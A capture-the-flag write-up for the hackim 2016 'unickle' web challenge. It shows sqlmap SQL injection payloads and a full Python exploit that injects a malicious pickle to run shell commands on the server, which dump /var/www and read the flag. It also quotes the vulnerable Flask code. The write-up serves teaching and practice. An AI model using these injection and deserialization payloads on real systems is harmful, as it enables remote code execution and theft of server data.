##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

unickle

[hackim, 2016]

category: web

by f0rki

  • Category: web
  • Points: 200
  • Description:

OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place... One object at a time!!

Write-up

So there isn't much to look at here. It displays some values and you can restrict the displayed values to a category with the ?cat=X parameter. After some fiddling and not getting anywhere I decided to let sqlmap loose on the site.

$ python2 sqlmap.py --level=5 --risk=3 --method=get -a \
    -u 'http://54.84.124.93/?cat=2' --output-dir=/tmp/unickle/

sqlmap identified the following injection point(s) with a total of 160 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=2 AND 7804=7804

    Type: AND/OR time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: cat=2 AND 9875=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: cat=2 UNION ALL SELECT 'qxvqq'||'HuGRpkqXfbsleivzlVQsmTJGEQszicEaMDqmwMEK'||'qbvzq',NULL,NULL,NULL-- -
---

[...]

Table: db_object
[4 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| tcat_id | INTEGER |
| tid     | INTEGER |
| tname   | VARCHAR |
| tvalue  | VARCHAR |
+---------+---------+

sqlmap didn't do so well on dumping the actual tables, probably because there were some non-printable characters in there. At this point I was kind of annoyed and switched to another challenge. Fortunately a fellow LosFuzzys member didn't want to realy on sqlmap and did the injection by hand, which yielded better results. One can abuse the SQL injection by using ?cat=4 union select ... as the parameter. We can get the table schema of the db_object table. This is the table the objects, which are displayed, are selected from. Let's look at one row of the database.

id | name     | value                                                               | cat_id
--------------------------------------------------------------------------------------------
2  | Object 2 | €cvulnerableBoxq)q}qXnameqX        Magic Boxqsb. | 2

We can see that value has a very strange format and doesn't quite match what we see as output. So there is apparently some transformation happeing. It turns out that this is pickled data. Of course as we know from countless other CTFs, pickle is evil, as it allows arbitrary code execution as part of the deserialization. So we can use the SQL injection to get the application to load our input with pickle, which gives us code execution on the server :) Kindly enough we also get the deserialized object as string, so we can use subprocess.check_output to get the output of arbitrary commands. I used the following script to exploit the sqli/pickle vulnerabilities. I used several shellcodes. First using a simple computation to prove we have code execution. Then I searched for the flag using the find command and read it out using cat. I also dumped the whole /var/www/ directory just to be sure ;)

from __future__ import print_function
import requests
import sys
import pickle
from urllib import unquote
# test shellcode
#SHELLCODE = "42 + 1"
# fetch the whole webserver dir :)
#SHELLCODE = "str(__import__(\"subprocess\").check_output(\"tar czf /tmp/src.tgz /var/www/; cat /tmp/src.tgz | base64\", shell=True))"  # NOQA
# find the flag
#SHELLCODE = "str(__import__(\"subprocess\").check_output(\"find / -name flag\", shell=True))"  # NOQA
# read the flag
SHELLCODE = "str(__import__(\"subprocess\").check_output(\"cat /var/www/flag\", shell=True))"  # NOQA
class Pwn(object):
    def __reduce__(self):
        return (eval, (SHELLCODE,))
pwn = Pwn()
sc = pickle.dumps(pwn)
if len(sys.argv) == 2 and sys.argv[1] == "--try":
    print("Executing shellcode:")
    print("-------")
    try:
        print(pickle.loads(sc))
    except Exception as e:
        print("exception", repr(e))
    print("\n-------")
print("Sending shellcode:")
print("-------")
print(sc)
print("-------")
sc = sc.replace("'", "\"")  # otherwise the sql query doesn't work
sqlipl = "4 union select 1,2,'{}',1337".format(sc)
print("#### sqli payload is")
print(sqlipl)
resp = requests.get("http://54.84.124.93/", params={"cat": sqlipl})
print("#### URL is")
print(resp.url)
print(unquote(resp.url))
print("#### response -", resp.status_code)
#print(resp.text)
# very dirty parsing ;)
print(resp.text.split("\n")[38].replace("\\n", "\n").strip())

The flag was flag{OSaaS_with_union_and_tickle_trend_it_is!}

The whole thing was a flask application and the vulnerable code is this:

@application.route("/", methods=['GET'])
def index():
  sql = "SELECT * FROM db_object"
  if request.args != [] and request.args.get('cat') != None:
    sql = "SELECT * FROM db_object where cat_id="+request.args.get('cat')  # SQL injection here
  result = db.engine.execute(sql)
  objects = []
  for row in result:
    val = row[2]
    if row[2]!= None:
      try:
        print(row[2])
        val = pickle.loads(row[2].encode(encoding='ISO-8859-1'))           # pickle deserialization vulnerability here
      except Exception as e:
        val = e
    objects.append([row[0],row[1],val,row[3]])
  return render_template('index.html', objects=objects)
/writeups/ $

$